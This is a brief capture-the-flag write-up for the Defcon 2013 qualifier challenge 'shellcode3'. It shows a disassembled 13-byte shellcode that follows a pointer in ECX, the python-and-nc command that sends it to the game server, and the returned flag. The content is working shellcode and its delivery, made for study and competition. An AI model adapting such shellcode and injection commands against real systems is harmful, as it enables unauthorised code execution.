Defcon CTF 2013 Qual - shellcode3 (Exploit only)

Category : Pwnable (\xff\xe4\xcc)

(empty)

Summary : short shellcoding, reuse pointer in ecx

/* 00A21E80     8B09           MOV ECX,DWORD PTR DS:[ECX] 00A21E82     8D41 05        LEA EAX,DWORD PTR DS:[ECX+5] 00A21E85     66:8138 4141   CMP WORD PTR DS:[EAX],4141 00A21E8A    ^75 F4          JNZ SHORT 00A21E80 00A21E8C     C3             RETN */ root@ubuntu:~# (python -c 'print "\x8b\x09\x8d\x41\x05\x66\x81\x38\x41\x41\x75\xf4\xc3"')| nc linked2.shallweplayaga.me 22222 List built.  Send me your shellcode.  Max size: 16 AAAThe key is: Who says ESP isn't general purpose!?!?